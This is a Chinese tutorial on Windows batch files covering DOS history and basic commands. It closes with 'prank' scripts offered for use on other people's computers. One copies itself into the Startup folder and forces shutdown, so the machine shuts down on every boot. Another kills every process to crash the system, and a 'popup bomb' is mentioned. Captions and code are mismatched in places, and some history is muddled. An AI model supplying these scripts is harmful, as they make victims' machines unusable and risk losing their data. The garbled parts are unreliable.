bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。
dos操作系统:
dos,是磁盘操作系统的缩写,是个人计算机上的一类操作系统。从1981年直到1995年的15年间,磁盘操作系统在IBM PC 兼容机市场中占有举足轻重的地位。而且,若是把部分以DOS为基础的Microsoft Windows版本,如Windows 95、Windows 98和Windows Me等都算进去的话,那么其商业寿命至少可以算到2000年。微软的所有后续版本中,磁盘操作系统仍然被保留着。
DOS是1979年由微软公司为IBM个人电脑开发的MS-DOS,它是一个单用户单任务的操作系统。后来DOS的概念也包括了其它公司生产的与MS-DOS兼容的系统,如PC-DOS[3] 、DR-DOS, 以及一些其它相对不太出名的DOS兼容产品。它们在1985年到1995年及其后的一段时间内占据操作系统的统治地位,最著名和广泛使用的DOS系统从1981年直到1995年的15年间微软在推出Windows 95之后,宣布MS-DOS不再单独发布新版本。不过FreeDOS等与MS-DOS兼容的DOS则在继续发展着。
虽然大多数用户将1981年最早发表的术语“PC”与IBM PC或PC兼容机等同看待, 但是实际上个人计算机在1970年已经开始使用。DOS是IBM PC及其兼容机用的操作系统。在DOS之前,一些微机为其操作系统使用内部BASIC编程语言,而另外一些使用Digital Research公司开发的CP/M操作系统(此公司提供了DR DOS)。Microsoft公司于1970年后开发了MS-DOS,当时,该公司为不同微机开发了像BASIC这类编程语言;1980年IBM正在设计最早的IBM PC并请Microsoft为其新型机开发多个编程语言。这次CP/M作为选择的操作系统并成为IBM新机种的操作系统。在Microsoft为IBM PC 设计语言的过程中,尽管Microsoft公司改进了IBM PC的语言设计和应用程序设计,但是他们认识到开发PC操作系统才是其努力方向。然而,由于没有足够的时间从零开始开发一个操作系统。为解决这个问题,Microsoft购买了一个用于8086处理器的操作系统86-DOS,86-DOS操作系统是西雅图电脑产品公司(Seattle Computer Products)的一名24岁的程序员蒂姆·帕特森(Tim Paterson)花费了四个月时间编的,该操作系统与最早的IBM PC中的8086处理器非常相似。给每台IBM电脑安装一个DOS系统,微软就收取200美金的商业运作模式,造就了微软的初期辉煌。
区别:(本质效果都是一样的)
一个使用cmd运行的
一个用dos解释器解释运行
cmd.exe是XP下的命令行模式32位的(所以一些DOS命令无法使用)
cmd拿到DOS环境下运行不了,而bat在这些环境下都可以运行,因为cmd仅仅基于windows环境下的假DOS
cmd中的命令在bat 中都可以使用,但是gui图形界面的命令不推荐使用。cmd,bat一样是命令集,vbs是脱胎于vb的脚本语言,应用范围比bat更广,bat里可以用start调用vbs文件,也可以用wscript命令直接执行vbs语句,同理vbs也能调用bat
常用命令
bat中,开头一般都加:@echo off&CLS & mode con lines=29 cols=50 & title bat脚本 Code By cn-dos & color 0a
说明: @echo off 是不在界面上显示下面要执行的命令 , echo会显示运行的内容,加@则不会在运行框中显示运行内容(会继续运行,只是不会显示)。
mode con lines=29 cols=50 是cmd界面的大小格式,窗口的宽和高
title bat脚本 Code By cn-dos 是执行是设置cmd窗口的标题
color 0a 是设置cmd界面 背景和字符的颜色
简单的输出例子:
@echo off echo \"hello world!\" pause rem pause可以暂停,就是暂停的意思
结尾一般加 exit 表示退出 或者有退出时间提示的代码:for /l %%i in (3,-1,0) do ping -n 2 127.0.0.%%i>nul && @echo. %%i s 后退出本程序……也就是关闭cmd窗体
Rem和 :: 都是注释 如:rem 后面跟的都是被注释掉的字符串
命令运行结束,单独一行输入 echo %errorlevel% 会显示运行是否成功(成功0,失败1)
start 批处理调用外部程序的命令(不理会外部运行状况,等到外部命令运行后才能继续运行),格式为start xxx(路径名)
复制的命令就是:copy /y
案例:
微信多开:start C:\"Program Files (x86)"\Tencent\WeChat\WeChat.exe
恶搞关机:
@echo off
copy %0 "%ALLUSERSPROFILE%\「开始」菜单\程序\启动"
shutdown -s -f -t 0
你也可以用这个超级弹窗程序吓吓他
@echo off
copy %0 "%ALLUSERSPROFILE%\「开始」菜单\程序\启动" shutdown -s -f -t 0
这个比较恐怖,直接蓝屏,慎用!
taskkill /f /fi "pid ne 1"
卡死别人电脑的弹窗炸弹